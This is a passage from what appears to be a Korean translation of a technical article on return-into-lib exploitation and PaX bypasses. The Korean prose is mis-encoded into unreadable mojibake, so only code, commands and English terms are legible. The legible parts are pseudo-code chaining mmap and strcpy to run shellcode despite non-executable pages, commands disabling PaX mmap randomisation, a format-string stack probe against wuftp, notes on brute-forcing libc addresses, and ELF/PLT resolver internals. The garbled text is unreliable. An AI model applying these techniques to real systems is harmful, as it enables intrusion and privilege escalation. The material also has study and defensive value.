µÎ°³ÀÇ leaverets °¡ ÇÊ¿äÇÏ´Ù. ÇÁ·¹ÀÓ ¼ÓÀ̱â´Â "esp lifting"º¸´Ù ¸î°³ÀÇ ÀÕÁ¡µéÀÌ À־ -fomit-frame-pointer ¿É¼ÇÀ¸·Î ÄÄÆÄÀÏµÈ ÇÁ·Î±×·¥µµ ÀÌ ¹æ¹ýÀ» »ç¿ëÇÒ ¶§°¡ ÀÖ´Ù. ----[ 3.4 - ³Î ¹ÙÀÌÆ® Áý¾î ³Ö±â ÇÑ°¡Áö ¹®Á¦°¡ ³²¾ÆÀÖ´Ù. 0À» °¡Áø ÀÎÀÚ¸¦ ÇÔ¼ö¿¡ ³Ñ±â´Â Á¡ÀÌ´Ù. ±×·¯³ª ¿©·¯ ÇÔ¼ö¸¦ »ç¿ëÇÒ¶§ °¡´ÉÇÏ´Ù. °£´ÜÇÑ ¹æ¹ýÀÌ Àִµ¥, º°·Î Àß ½ÇÇàµÇÁö ¾Ê´Â ù¹ø° ÇÔ¼ö¸¦ ÀÌ¿ëÇØ ´ÙÀ½ ÇÔ¼ö·Î ³Ñ°ÜÁö´Â ÆĶó¹ÌÅÍ ºÎºÐ¿¡ 0À» Áý¾î ³Ö´Â °ÍÀÌ´Ù. strcpy ´Â ÀÌ ¹æ¹ý¿¡ ÀÚÁÖ »ç¿ëÇÏ´Â ÇÔ¼öÀÌ´Ù. 2¹ø° ÀÎÀÚ´Â ³Î ¹ÙÀÌÆ®( ÇÁ·Î±×·¥ ¾ÈÀÇ °íÁ¤µÈ À§Ä¡¿¡ ÀÖ´Â)¸¦ °¡¸®ÄÑ¾ß ÇÑ´Ù. ±×¸®°í ù¹ø° ÀÎÀÚ´Â ³Î°ªÀÌ µÉ ¹ÙÀÌÆ® À§Ä¡¸¦ °¡¸®ÄÑ¾ß ÇÑ´Ù. ±×·¡¼­ ÇÔ¼ö¸¦ »ç¿ëÇÒ¶§¸¶´Ù ÇÑ ¹ÙÀÌÆ®¾¿ ³Î°ªÀ» ³ÖÀ» ¼ö ÀÖ´Ù. int32 Å©±âÀÇ À§Ä¡¿¡ Á¦·Î °ªÀ» ³Ö¾î¾ß ÇÑ´Ù¸é Á» ´õ °ø°£¿¡ È¿À²ÀûÀÎ ¹æ¹ýÀ» »ý°¢ÇØ ºÁ¾ß ÇÑ´Ù. ¿¹¸¦ µé¸é, sprintf(some_writable_addr,"%n%n%n%n",ptr1, ptr2, ptr3, ptr4); ÀÌ ¹æ¹ýÀº some_writable_addr ÇÑ ¹ÙÀÌÆ®¸¦ ³Î¹ÙÀÌÆ®·Î ¸¸µé°í, ptr1, ptr2, ptr3 , ptr4 ÀÇ À§Ä¡ÀÇ int32 Å©±â ¸¸Å­À» ³Î¹ÙÀÌÆ®·Î ¸¸µç´Ù. ¸¹Àº ´Ù¸¥ ÇÁ·Î±×·¥À» ÀÌ·± ¹æ¹ý¿¡ »ç¿ëÇÒ¼ö ÀÖ´Ù. scanf µµ ±×Áß¿¡ ÇϳªÀÌ´Ù. ([5]¹ø ¹®¼­¸¦ Âü°íÇ϶ó.) ÀÌ ¹æ¹ýÀº ÇϳªÀÇ ±Ùº»ÀûÀÎ ¹®Á¦¸¦ ÇØ°áÇÏ´Â °É º¸ÀδÙ. ¸¸¾à ¸ðµç ¶óÀ̺귯¸®°¡ ÁÖ¼Ò¿¡ 0°ª¤·¸£ °¡Áö°í ÀÖ´Â °÷¿¡ À§Ä¡ÇÑ´Ù¸é ( Solar Designer ÀÇ non-exec ½ºÅà ÆÐÄ¡) ¿ì¸®´Â Á÷Á¢ÀûÀ¸·Î ¶óÀ̺귯¸®¿¡ Á¢±ÙÇÒ ¼ö ¾ø´Ù. ÀÌÀ¯´Â ¿À¹öÇ÷οì ÇÏ´Â °÷¿¡ ³Î ¹ÙÀÌÆ®¸¦ ³ÖÀ» ¼ö ¾ø±â ¶§¹®ÀÌ´Ù. ±×·¯³ª strcpy ³ª sprintf °¡ Ÿ°Ù ÇÁ·Î±×·¥¿¡¼­ »ç¿ëµÇ¸é, ¾Ë¸ÂÀº PLT ¿£Æ®¸®¸¦ °¡Áö°Ô µÇ¸é ¿ì¸®´Â »ç¿ëÇÒ ¼ö ÀÖ´Ù. ù¹ø° ¾à°£ÀÇ È£ÃâÀº strcpy( Á¤È®ÇÏ°Ô ¸»Çϸé strcpy ÀÇ PLT ¿£Æ®¸®)¸¦ È£ÃâÇؼ­ ÇÔ¼öÀÇ ÀÎÀÚ °ªµéÀ» ³Î°ªÀ¸·Î ¸¸µå´Â°Ô ¾Æ´Ï¶ó ÇÔ¼öµé ÁÖ¼Ò°¡ ÀÖ´Â ºÎºÐ ÀÚü¸¦ º¯°æ½ÃÄÑ¾ß ÇÑ´Ù. ±× ÈÄ¿¡ ´Ù½Ã ¶óÀ̺귯¸®¿¡¼­ ÀÓÀÇÀÇ ÇÔ¼ö¸¦ È£ÃâÇÒ ¼ö ÀÖ´Ù. ----[ 3.5 - ¿ä¾à À§¿¡¼­ ¼³¸íÇÑ ¹æ¹ýµéÀº ºñ½ÁÇÏ´Ù. ÀÌ ¾ÆÀ̵ð¾î´Â È£ÃâÇÑ ÇÔ¼ö ´ÙÀ½À¸·Î ¹Ù·Î°¡´Â°Ô ¾Æ´Ï¶ó ½ºÅà Æ÷ÀÎÅÍ (ÇÁ·¹ÀÓ Æ÷ÀÎÅÍÀÇ µµ¿òÀ» ¹Þ¾Æ)ºÎºÐÀ» Àß Á¶ÀýÇؼ­ ,¿øÇÏ´Â ¼ø¼­´ë·Î ´ÙÀ½ÇÔ¼ö·Î ÁøÇàµÇµµ·Ï È帧À» Àü¼ÛÇÑ´Ù. µÎ°¡Áö °æ¿ì ¾Ë¸ÂÀº °æ¿ì ½ÇÇàÇÔ¼ö¿¡¼­ ¾Ë¸ÂÀº ºÎºÐÀ» ã¾Æ¾ß ÇÑ´Ù. ¶§¶§·Î ¶ÇÇÑ ¶óÀ̺귯¸® ÇÔ¼öÀÇ epilogue ºÎºÐÀ» »ç¿ëÇÒ ¼öµµ ÀÖ´Ù. ±×·¯³ª ¶§¶§·Î ¶óÀ̺귯¸® À̹ÌÁö´Â Á÷Á¢ÀûÀ¸·Î Á¢±ÙÇÒ ¼ö ¾øÀ»¶§µµ ÀÖ´Ù. ±×·± °æ¿ì°¡ ¹ú½á ³ª¿Ô´Âµ¥ ¶óÀ̺귯¸® °¡ À§Ä¡ÇÏ´Â ÁÖ¼Ò¿¡ ³Î ¹ÙÀÌÆ®°¡ Á¸ÀçÇÏ´Â °æ¿ìÀÌ´Ù. ¿ì¸®´Â ´Ù¸¥ °æ¿ìµµ Á¢ÇÏ°Ô µÉ °ÍÀÌ´Ù. ½ÇÇà À̹ÌÁö À§Ä¡´Â ¹Ù²îÁö ¾Ê´Â´Ù. ¸®´ª½ºÀÇ °æ¿ì¿£ 0x08048000 Àε¥ °Å±â¿¡ À§Ä¡ÇØ¾ß ÇÑ´Ù. ±×·¡¼­ ±×ÂÊÀ¸·Î º¹±ÍµÇ¾ß ÇÑ´Ù. ----[ 3.6 - ¿¹Á¦ ÄÚµå µ¡ºÙÀÎ ÆÄÀÏ¿¡´Â ex-move.c ¿Í ex-frames.c vuln.c ÆÈÀÏ¿¡ ´ëÇÑ ÀͽºÇ÷ÎÀÕÀÌ ÀÖ´Ù. ÀÌ ÀͽºÇ÷ÎÀÕÀº ¸î °³ÀÇ strcpy ÇÔ¼ö¸¦ ¼ø¼­´ë·Î ÇÒ ¼ö ÀÖ°í mmap È£ÃâÀ» ÇÑ´Ù. Ãß°¡µÈ ¼³¸íÀº ´ÙÀ½ Àå( 4.2) ¿¡¼­ ÇÑ´Ù. ¾î·´ø ÀÌ ÆÄÀϵéÀ» return-into-lib ÀͽºÇ÷ÎÀÕÀÇ Æ²·Î¼­ »ç¿ëÇÒ ¼ö ÀÖ´Ù. --[ 4 - Pax ¿¡ ´ëÇØ ----[ 4.1 - Pax ±âÃÊ Pax ¸®´ª½º Ä¿³Î ÆÐÄ¡¿¡ ´ëÇؼ­ ¾ËÁö ¸øÇÑ´Ù¸é [7]¿¡ ³ª¿ÍÀִ ȨÆäÀÌÁö¸¦ °¡º¸´Â°Ô ÁÁ´Ù. ¾Æ·¡ÀÇ ¸î¸î ÀοëÀº Pax ¹®¼­¿¡¼­ °¡Á®¿Ô´Ù. "ÀÌ ¹®¼­´Â IA-32 ÇÁ·Î¼¼¼­¿¡¼­ non-executable ÆäÀÌÁö¸¦ ±¸ÇöÇÏ´Â °ÍÀ» ³íÀÇÇÑ´Ù. ( ¿¹·Î »ç¿ëÀÚ ¸ðµå¿¡¼­ ¾²°í ÀÐÀ» ¼ö ÀÖÁö¸¸ ½ÇÇàÇÒ ¼ö ¾ø´Â ÆäÀÌÁö). ½ÇÁ¦ ÇÁ·Î¼¼¼­ÀÇ ±âº»ÀûÀÎ ÆäÀÌÁö Å×À̺í / µð·ºÅ丮 ¿£Æ®¸®´Â ÀÌ·± Á¡¿¡¼­ Áغñ°¡ ¾È µÇ¾î ÀÖ´Ù. ÀÌ°Ç »ç¼ÒÇÑ ¹®Á¦°¡ ¾Æ´Ï´Ù." " ¹öÆÛ ¿À¹öÇÃ·Î¿ì ±â¹ÝÀÇ °ø°ÝÀ» ¸·´Â ÇÁ·Î±×·¥ÀûÀÎ ¹æ¹ý Áß¿¡ Çϳª¸¦ Á¦°øÇÑ´Ù. ±×°ÍÀº ½ÇÇàµÇÁö ¾Ê´Â ÆäÀÌÁö¸¦ ±¸ÇöÇÏ´Â °ÍÀÌ´Ù. µ¥ÀÌŸ ÀÚü¸¸ °¡Áö´Â ÆäÀÌÁö¸¦ ¸¸µé¾î ½ÇÇà °¡´É¼ºÀ» ¾ø¾Ö ¹ö¸°´Ù." " Ä¿³Î ¸ðµå¿¡¼­ DTLB ¿Í ITLB ¿£Æ®¸® ¾È¿¡ ºÒ¾ÈÁ¤ÇÑ »óŸ¦ À¯¹ßÇÏ´Â Äڵ带 ³ÖÀ» °¡´É¼ºÀÌ ÀÖ´Ù. ÀÌ·± ¸ÞÄ«´ÏÁòÀ» ÀÌ¿ëÇØ µ¥ÀÌÅ͸¦ ÀÐ°í ¾²Áö¸¸ ½ÇÇàÀÌ ¾È µÇ´Â ºÒ¾ÈÁ¤ÇÑ »óŸ¦ »ý¼ºÇÒ ¼ö ÀÖ´Ù. ÀÌ ¹æ¹ýÀº ¸¹Àº ¹öÆÛ ¿À¹öÇÃ·Î¿ì °ø°ÝÀ» ¸·À»¶§ »ç¿ëÇÒ ¼ö ÀÖ´Ù. ¿ä¾àÇÏÀÚ¸é, ¹öÆÛ ¿À¹öÇ÷οì ÀͽºÇ÷ÎÀÕÀº Ÿ°Ù ÇÁ·Î¼¼½º¿¡ ¾î¶² µ¥ÀÌÅ͸¦ ¸ô·¡ Àü´ÞÇÏ´Â °ÍÀÌ´Ù. ±âº» Pax ±â´ÉÁßÀÇ Çϳª´Â ¸ðµç µ¥ÀÌÅÍ ¿µ¿ª¿¡¼­ ½ÇÇà ºÎºÐÀ» ¾ø¾Ö ¹ö¸®´Â °ÍÀÌ´Ù. µû¶ó¼­ ÀϹÝÀûÀÎ °ø°ÝÀº ¹«ÀǹÌÇÏ°Ô ÇÑ´Ù. --[ 4.2 - Pax ¿Í return-into-lib ÀͽºÇ÷ÎÀÕ ±âº»ÀûÀ¸·Î ½ÇÇàµÇÁö¾Ê´Â µ¥ÀÌÅÍ ¿µ¿ªÀº PaxÀÇ Æ¯Â¡ÀÌ´Ù. ¿¹»óÇÑ °Íó·³ return-into-lib ÀͽºÇ÷ÎÀÕÀ» ¸·´Âµ¥ ÃæºÐÇÏÁö ¾Ê´Ù. ±×·± ÀͽºÇ÷ÎÀÕÀº ¶óÀ̺귯¸®¿Í ¹ÙÀ̳ʸ® ÀÚü¿¡ Äڵ带 À§Ä¡½ÃÅ°±â ¶§¹®¿¡ ¿ÏÀüÇÏ°Ô ÇÕ¹ýÀûÀÎ ÄÚµåÀÌ´Ù. 3Àå¿¡¼­ »ç¿ëÇÑ ±â¼úÀ» »ç¿ëÇϸé, Ÿ°Ù ÇÁ·Î±×·¥ÀÇ ±ÇÇÑÀ» ÀÌ¿ëÇÏ¿© ´Ù¾çÇÑ ¶óÀ̺귯¸® ÇÔ¼ö¸¦ »ç¿ëÇÒ ¼ö ÀÖ´Ù. ´õ¿í ´õ ¾È ÁÁÀº °ÍÀº ´ÙÀ½°ú °°Àº Äڵ尡 Pax ½Ã½ºÅÛ¿¡¼­ ¼º°øÀûÀ¸·Î ÀÛµ¿ÇÑ´Ù´Â Á¡ÀÌ´Ù. char shellcode[] = "arbitrary code here"; mmap(0xaa011000, some_length, PROT_EXEC|PROT_READ|PROT_WRITE, MAP_FIXED|MAP_PRIVATE|MAP_ANON, -1, some_offset); strcpy(0xaa011000+1, shellcode); return into 0xaa011000+1; °£´ÜÇÑ ¼³¸í: mmap ÄÝÀº 0xaa011000 ¿¡ ¸Þ¸ð¸®¸¦ ÇÒ´çÇÑ´Ù. ÀÌ ºÎºÐÀº ¾î¶² ÆÄÀÏ ¿ÀºêÁ§Æ®¿Í °ü·ÃÀÌ ¾ø´Ù. -1°ú °°Àº ÆÄÀÏ µð½ºÅ©¸³Å͸¦ ÀÌ¿ëÇÑ MAP_ANON Ç÷¡±×°¡ Âü À¯¿ëÇÏ´Ù. 0xaa011000 ¿¡ À§Ä¡ÇÑ ÄÚµå´Â Pax¿¡¼­µµ ½ÇÇàµÈ´Ù. º¸´Ù ½ÃÇÇ ÀÓÀÇÀÇ ½©Äڵ尡 ½ÇÇàµÈ´Ù. ÄÚµå ¿¹¸¦ µé¶§°¡ ¿Ô´Ù. ÷ºÎÇÑ vuln.c ´Â ¸í¹éÇÑ ½ºÅà ¿À¹öÇ÷ο츦 °¡Áø ÇÁ·Î±×·¥ÀÌ´Ù. $ gcc -o vuln-omit -fomit-frame-pointer vuln.c $ gcc -o vuln vuln.c ÷ºÎÇÑ ÆÄÀÏ Áß ex-move.c ¿Í ex-frame.c ´Â vuln-omit ¿Í vuln ¹ÙÀ̳ʸ®¸¦ ÀͽºÇ÷ÎÀÕÇϴµ¥ »ç¿ëÇÑ´Ù. ÀͽºÇ÷ÎÀÕÀº strcpy¿Í mmap ÄÝÀÇ ¼ø¼­´ë·Î ½ÇÇàÇÑ´Ù. Á» ´õ ½É¿ÀÇÑ ¸í·É¿¡ ´ëÇÑ °ÍÀº README.code ¿¡ ³ª¿Í ÀÖ´Ù. ÃÖ±Ù Pax ¹öÀüÀÇ ½Ã½ºÅÛ¿¡¼­ À§ÀÇ ÀͽºÇ÷ÎÀÕÀ» ½ÇÇàÇÑ´Ù¸é randominzing mmap ¿É¼Ç ºÎºÐÀ» ²¨¾ßÇÑ´Ù. $ chpax -r vuln; chpax -r vuln-omit ----[ 4.3 - Pax ¿Í mmap º£À̽º ³­¼öÈ­ return-into-lib ÀͽºÇ÷ÎÀÕÀ» ¸·±â À§Çؼ­ Pax¿¡ Àç¹Õ´Â Ư¡ÀÌ Ãß°¡µÇ¾ú´Ù. ¸¸¾à ¾Ë¸ÂÀº CONFIG_PAX_RANDMMAP¿É¼ÇÀÌ ¼¼ÆõǾî ÀÖ´Ù¸é, ù¹ø° ·ÎµåµÈ ¶óÀ̺귯¸®´Â ·£´ýÇÑ À§Ä¡¿¡ mmap µÇ¸ç( ´ÙÀ½ ¶óÀ̺귯¸®´Â ù¹ø° °Í ´ÙÀ½¿¡ À§Ä¡ÇÑ´Ù.) ÀÌ°ÍÀº stack ¿¡µµ Àûµ¿µÈ´Ù. ù¹ø° ¶óÀ̺귯¸®´Â 0x40000000+random*4k ºÎºÐ¿¡ mmap µÈ´Ù. ½ºÅÃÀÇ ÃÖ»óÀ§´Â 0xc0000000-random*16°ú °°´Ù. ÀÌ µÎ °æ¿ì random Àº get_random_bytes() ¿¡¼­ ºÎÈ£ ¾ø´Â 16ºñÆ® °ªÀ» °¡Á®¿À´Â ÀÇ»ç ·£´ýÀÌ´Ù. get_random_bytes()´Â ¿¹ÃøÇϱâ Èûµç µ¥ÀÌÅ͸¦ »ý¼ºÇÑ´Ù. ldd some_binary ¸¦ µÎ¹ø È£ÃâÇؼ­ ºñ±³Çϰųª. "cat /proc/$$/maps" ¸¦ ÀÌ¿ëÇØ º¸ÀÚ. Pax ¿¡¼­´Â µÎ ¹ø ½ÇÇàÇÑ °á°ú°¡ ´Ù¸£´Ù. nergal@behemoth 8 > ash $ cat /proc/$$/maps 08048000-08058000 r-xp 00000000 03:45 77590 /bin/ash 08058000-08059000 rw-p 0000f000 03:45 77590 /bin/ash 08059000-0805c000 rw-p 00000000 00:00 0 4b150000-4b166000 r-xp 00000000 03:45 107760 /lib/ld-2.1.92.so 4b166000-4b167000 rw-p 00015000 03:45 107760 /lib/ld-2.1.92.so 4b167000-4b168000 rw-p 00000000 00:00 0 4b16e000-4b289000 r-xp 00000000 03:45 107767 /lib/libc-2.1.92.so 4b289000-4b28f000 rw-p 0011a000 03:45 107767 /lib/libc-2.1.92.so 4b28f000-4b293000 rw-p 00000000 00:00 0 bff78000-bff7b000 rw-p ffffe000 00:00 0 $ exit nergal@behemoth 9 > ash $ cat /proc/$$/maps 08048000-08058000 r-xp 00000000 03:45 77590 /bin/ash 08058000-08059000 rw-p 0000f000 03:45 77590 /bin/ash 08059000-0805c000 rw-p 00000000 00:00 0 48b07000-48b1d000 r-xp 00000000 03:45 107760 /lib/ld-2.1.92.so 48b1d000-48b1e000 rw-p 00015000 03:45 107760 /lib/ld-2.1.92.so 48b1e000-48b1f000 rw-p 00000000 00:00 0 48b25000-48c40000 r-xp 00000000 03:45 107767 /lib/libc-2.1.92.so 48c40000-48c46000 rw-p 0011a000 03:45 107767 /lib/libc-2.1.92.so 48c46000-48c4a000 rw-p 00000000 00:00 0 bff76000-bff79000 rw-p ffffe000 00:00 0 CONFIG_PAX_RANDMMAP Ư¡Àº °£´ÜÇÑ ¶óÀ̺귯¸®·Î ¸®ÅÏÇÏ´Â °ø°ÝÀ» ºÒ°¡´ÉÇÏ°Ô ÇÑ´Ù. ½ÇÇàÇÒ¶§ ¸¶´Ù °¢ ÇÔ¼öÀÇ ÁÖ¼Ò°¡ ´Þ¶óÁø´Ù. ÀÌ Æ¯Â¡Àº ¸î°¡Áö ¸í¹éÇÑ ¾àÁ¡ÀÌ ÀÖ´Ù. ÀÌ°Íµé ¸î °³´Â °íÃÄÁú °ÍÀÌ´Ù. 1) ·ÎÄÆ ÀͽºÇ÷ÎÀÕÀÇ °æ¿ì ¶óÀ̺귯¸®ÀÇ ÁÖ¼Ò¿Í ½ºÅÃÀÌ ÃëÄ¡ÇÑ ÁÖ¼Ò°¡ /proc/pid_of_attacked_process/maps °°Àº ¸ðµÎ ÀÐÀ» ¼ö ÀÖ´Â °÷¿¡ À§Ä¡ÇÑ´Ù. ¸¸¾à µ¥ÀÌÅÍ ¿À¹öÇÃ·Î¿ì ¹öÆÛ°¡ ÁغñµÇ°í ŸÄÏ ÇÁ·Î¼¼½º°¡ ½ÃÀÛÇÑ µÚ¿¡ Ÿ°Ù ÇÁ·Î¼¼½º¿¡ ±× ¹öÆÛ°¡ ÀüÇØÁø´Ù¸é °ø°ÝÀÚ´Â ¿À¹öÇ÷ο츦 ÇÒ Á¤º¸¸¦ °¡Áö°Ô µÈ´Ù. ¿¹¸¦ µé¸é ¸¸¾à Á¤º¸°¡ ÇÁ·Î±×·¥ ÀÎÀÚ³ª ȯ°æ º¯¼ö¿¡¼­ ¿Â´Ù¸é ·ÎÄà °ø°ÝÀÚ´Â ÀͽºÇ÷ÎÀÕ ÇÒ ¼ö ¾ø´Ù. ¸¸¾à ±× Á¤º¸°¡ ¸î °³ÀÇ I/O ºÎºÐ( ¼ÒÄÏÀ̳ª ÆÄÀÏ Àбâ)¿¡¼­ ¿Â´Ù¸é ·ÎÄà °ø°ÝÀÚ´Â Àͽº Ç÷ÎÀÕÀÌ °¡´ÉÇÏ´Ù. ÇØ°áÃ¥: /proc ÆÄÀÏ¿¡ Á¢±Ù ±ÇÇÑÀ» ¼³Á¤ÇÑ´Ù. ÀÌ°ÍÀº ¸¹Àº ´Ù¸¥ º¸¾È ÆÐÄ¡¸¦ »ç¿ëÇÏ¸é µÈ´Ù. 2) mmap ±â¹ÝÀÇ ºê·çÆ® Æ÷½º °ø°ÝÀ» ÇÒ ¼ö ÀÖ´Ù. ¶§¶§·Î 6.1 ÀÇ ³¡¿¡ libc º£À̽º ÁÖ¼Ò¸¦ ¿¹ÃøÇϱ⠽±°Ô µÇ¾î ÀÖ´Ù. ¸î ¸¸°³ÀÇ ½Ãµµ ÈÄ¿¡ °ø°ÝÀÚ´Â ¿ÇÀº °ªÀ» ãÀ» ±âȸ¸¦ °¡Áø´Ù. È®½ÇÇÏ°Ô °¢°¡ÀÇ ½ÇÆÐÇÑ ½Ãµµ´Â ·Î±×¿¡ ±â·ÏµÇÁö¸¸ »õº® 2½Ã¿¡ »ý¼ºµÇ´Â ¾öû³­ ¾çÀÇ ·Î±×´Â ¸·À» ¼ö ¾ø´Ù. ÇØ°áÃ¥: segvguard¸¦ »ç¿ëÇÏ¸é µÈ´Ù. ÀÌ°ÍÀº ¾î¶² ÇÁ·Î¼¼½º°¡ sigsegv ¿Í ºñ½ÁÇÑ ½ÅÈ£¸¦ º¸³»´Â °ÍÀ» Çϳª Çϳª ÀÎÁöÇÏ´Â µ¥¸óÀÌ´Ù. segvguard ´Â ÀÓ½ÃÀûÀ¸·Î ÇÁ·Î±×·¥ÀÇ ½ÇÇàÀ» ¸·À» ¼ö ÀÖ´Ù. ´õ ÁÁÀº ±â¹ýµµ ÀÖ´Ù. Pax ¸¦ »ç¿ëÇÏÁö ¾Ê°íµµ ¾µ¸¸ÇÏ´Ù. 3) ¶óÀ̺귯¸®¿Í ½ºÅà ÁÖ¼Ò¿¡ °üÇÑ Á¤º¸°¡ format ¹ö±×·Î À¯ÃâµÉ ¼ö ÀÖ´Ù. wuftp ¹ö±×ÀÇ °æ¿ì´Â ½ºÅÃÀ» site exec [eat stack]%x.%x.%x... ¸í·ÉÀ¸·Î Äm¾î º¼ ¼ö ÀÖ´Ù. ½ºÅÿ¡ ÀÖ´Â ÀÚµ¿È­µÈ º¯¼öÀÇ Æ÷ÀÎÅÍ°¡ ½ºÅÃÀÇ º£À̽º¸¦ ³ëÃâÇÒ ¼ö ÀÖ´Ù. µ¿Àû ¸µÄ¿¿Í libc ½ÃÀÛ ·çƾÀº ½ºÅÿ¡ ¸î °³ÀÇ Æ÷ÀÎÅ͸¦ ³²±ä´Ù. ¶óÀ̺귯¸® ÇÔ¼öÀÇ ¸®ÅÏ ÁÖ¼Ò, ±×·¡¼­ ÀÌ°ÍÀº ¶ÇÇÑ ¶óÀ̺귯¸® º£À̽º ÁÖ¼Ò¸¦ »ç¿ëÇÏ´Â °É ÁÙÀÓÀ¸·Î °¡´ÉÇÏ´Ù. 4) ¶§¶§·Î , Ÿ°Ù ¹ÙÀ̳ʸ® ¾È¿¡¼­ ¾Ë¸ÂÀº( À§Ä¡°¡ Á¤ÇØ Á® ÀÖ°í mmap ÀÌ ³­¼öÈ­ µÇÁö ¾Ê´Â) ÇÔ¼ö¸¦ ãÀ» ¼ö ÀÖ´Ù. ¿¹¸¦ µé¸é, su ´Â ¼º°øÀûÀÎ ÀÎÁõÀ» À§Çؼ­ ·çÆ® ±ÇÇÑÀ» ȹµæÇÏ°í ½©À» ½ÇÇà½ÃÅ°´Â ÇÔ¼ö¸¦ °¡Áø´Ù. ´Ù¸¥ °Ç ÇÊ¿ä°¡ ¾ø´Ù. 5) Ÿ°Ù ÇÁ·Î±×·¥ÀÇ ¸ðµç ¶óÀ̺귯¸® ÇÔ¼ö´Â ±× PLT ¿£Æ®¸®¿¡¼­ ºÒ·Á Áø´Ù. ¹ÙÀ̳ʸ® ó·³ PLT ´Â °íÁ¤µÈ À§Ä¡¿¡ ÀÖ¾î¾ß ÇÑ´Ù. Ãë¾àÇÑ ÇÁ·Î±×·¥Àº ¶§¶§·Î Å©°í ¸¹Àº ÇÔ¼ö¸¦ È£ÃâÇÑ´Ù. µû¶ó¼­ PLT ¿¡¼­ ¾Ë¸Â°í Àç¹Õ´Â ÇÔ¼ö¸¦ ãÀ» ¼ö ÀÖ´Ù. »ç½Ç µÚÀÇ 3°³ÀÇ ¹®Á¦´Â ÇØ°áÇÒ ¼ö ¾ø´Ù. ±×°Íµé Áß¿¡ ¾Æ¹«µµ ¼º°øÀûÀÎ ÀͽºÇ÷ÎÀÕÀ» ÇÑ´Ù´Â º¸ÀåÀÌ ¾ø´Ù. °Ô´Ù°¡ 4¹ø° °ÍÀº ¾ÆÁÖ µå¹°´Ù. Á» ´õ ÀϹÝÈ­µÈ °ø°ÝÀÌ ÇÊ¿äÇÏ´Ù. ´ÙÀ½ Àå¿¡¼­´Â ¸µÄ¿ÀÇ dl-resolve ÇÔ¼öÀÇ ÀÎÅÍÆäÀ̽º¿¡ °üÇØ ¾ê±âÇÑ´Ù. ¸¸¾à ¾Ë¸ÂÀº ÀÎÀÚ°¡ Àü´Þ µÇ¸é ±×°Íµé Áß¿¡ Çϳª´Â ÇÔ¼öÀÇ À̸§À» °¡Áö´Â ascii Çü½ÄÀÇ ¹®ÀÚ¿­ÀÌ´Ù. ÀÌ°ÍÀº ½ÇÁ¦ ÇÔ¼öÀÇ ÁÖ¼Ò¸¦ °áÁ¤ÇÑ´Ù. ÀÌ ±â´ÉÀº dlsym() ÇÔ¼ö¿Í À¯»çÇÏ´Ù. dl-resolve ÇÔ¼ö¸¦ »ç¿ëÇؼ­ ¿ì¸®´Â return-into-lib ÀͽºÇ÷ÎÀÕÀ» ÇÒ ¼ö ÀÖ´Ù. ÀͽºÇ÷ÎÀÕ ºôµå ¶§ ¾Ë·ÁÁöÁö ¾Ê¾Ò´ø ÁÖ¼Ò ÇÔ¼ö·Î µ¹¾Æ °¥ ¼ö ÀÖ´Ù. [12]´Â ÀÌ À̸§À¸·Î ÇÔ¼öÀÇ ÁÖ¼Ò¸¦ ¾ò´Â ¹æ¹ýÀ» ³íÀÇÇÑ´Ù. ±×·¯³ª ¾ÕÀÇ ±â¼úÀº ¿ì¸®ÀÇ ¸ñÀû¿¡ º° ¾µ¸ð°¡ ¾ø´Ù. --[ 5 - µ¿Àû ¸µÄ¿ ¾ÈÀÇ dl-resolve ÇÔ¼ö ÀÌ ÀåÀº °¡´ÉÇÑ °£´ÜÇÏ°Ô Àû´Â´Ù. »ó¼¼ÇÑ ÀÚ·á´Â [9] ³ª glibc ¼Ò½º ƯÈ÷ dl-runtime.c ¸¦ Âü°íÇÏ°í [12] µµ Àо¶ó. ----[ 5.1 - ¸î°³ÀÇ ELF µ¥ÀÌÅÍ Å¸ÀÔ ´ÙÀ½ÀÇ Á¤ÀÌ´Â elf.h ÆÄÀÏ¿¡¼­ º¼ ¼ö ÀÖ´Ù. typedef uint32_t Elf32_Addr; typedef uint32_t Elf32_Word; typedef struct { Elf32_Addr r_offset; /* Address */ Elf32_Word r_info; /* Relocation type and symbol index */ } Elf32_Rel; /* How to extract and insert information held in the r_info field. */ #define ELF32_R_SYM(val) ((val) >> 8) #define ELF32_R_TYPE(val) ((val) & 0xff) typedef struct { Elf32_Word st_name; /* Symbol name (string tbl index) */ Elf32_Addr st_value; /* Symbol value */ Elf32_Word st_size; /* Symbol size */ unsigned char st_info; /* Symbol type and binding */ unsigned char st_other; /* Symbol visibility under glibc>=2.2 */ Elf32_Section st_shndx; /* Section index */ } Elf32_Sym; The fields st_size, st_info and st_shndx are not used during symbol resolution. ----[ 5.2 - ¸î °³ÀÇ ELF µ¥ÀÌÅÍ ±¸Á¶ ELF ½ÇÇàÆÄÀÏÀº ¸î °³ÀÇ µ¥ÀÌÅÍ ±¸Á¶¸¦ Æ÷ÇÔÇÑ´Ù. ( ´ëºÎºÐ ¹è¿­) ±× Áß ¸î°³´Â Èï¹Ì·Ó´Ù. ÀÌ ±¸Á¶ÀÇ À§Ä¡´Â ½ÇÇàÆÄÀÏÀÇ µ¿Àû ¼½¼Ç¿¡¼­ ¾òÀ» ¼ö ÀÖ´Ù. "objdump -x file"¸¦ ÀÌ¿ëÇÏ¸é µ¿Àû ¼½¼ÇÀÇ ´ë¿ëÀ» º¼ ¼ö ÀÖ´Ù. $ objdump -x some_executable ... some other interesting stuff... Dynamic Section: ... STRTAB 0x80484f8 the location of string table (type char *) SYMTAB 0x8048268 the location of symbol table (type Elf32_Sym*) .... JMPREL 0x8048750 the location of table of relocation entries related to PLT (type Elf32_Rel*) ... VERSYM 0x80486a4 the location of array of version table indices (type uint16_t*) "objdump -x" will also reveal the location of .plt section, 0x08048894 in the example below: "objdump -x file"´Â .plt ¼½¼ÇÀÇ À§Ä¡¸¦ º¸¿©ÁØ´Ù. 11 .plt 00000230 08048894 08048894 00000894 2**2 CONTENTS, ALLOC, LOAD, READONLY, CODE ----[ 5.3 - ¾î¶»°Ô PLT¿¡¼­ dl-resolve °¡ È£Ã⠵dzª. ÀüÇüÀûÀÎ PLT ¿£Æ®¸®( elf32-i386 Æ÷¸ËÀ϶§) ´ÙÀ½°ú °°´Ù. (gdb) disas some_func Dump of assembler code for function some_func: 0x804xxx4 : jmp *some_func_dyn_reloc_entry 0x804xxxa : push $reloc_offset 0x804xxxf : jmp beginning_of_.plt_section PLT ¿£Æ®¸®´Â $reloc_offset °ªÀ¸·Î ±¸º°µÈ´Ù.( ±×¸®°í some_func_dyn_reloc_entry ÀÇ °ªÀ¸·Îµµ ±×·¯³ª some_func_dyn_reloc_entry´Â symbol resolution algorithm¿¡ »ç¿ëµÇÁö ¾Ê´Â´Ù.) º¸´Ù 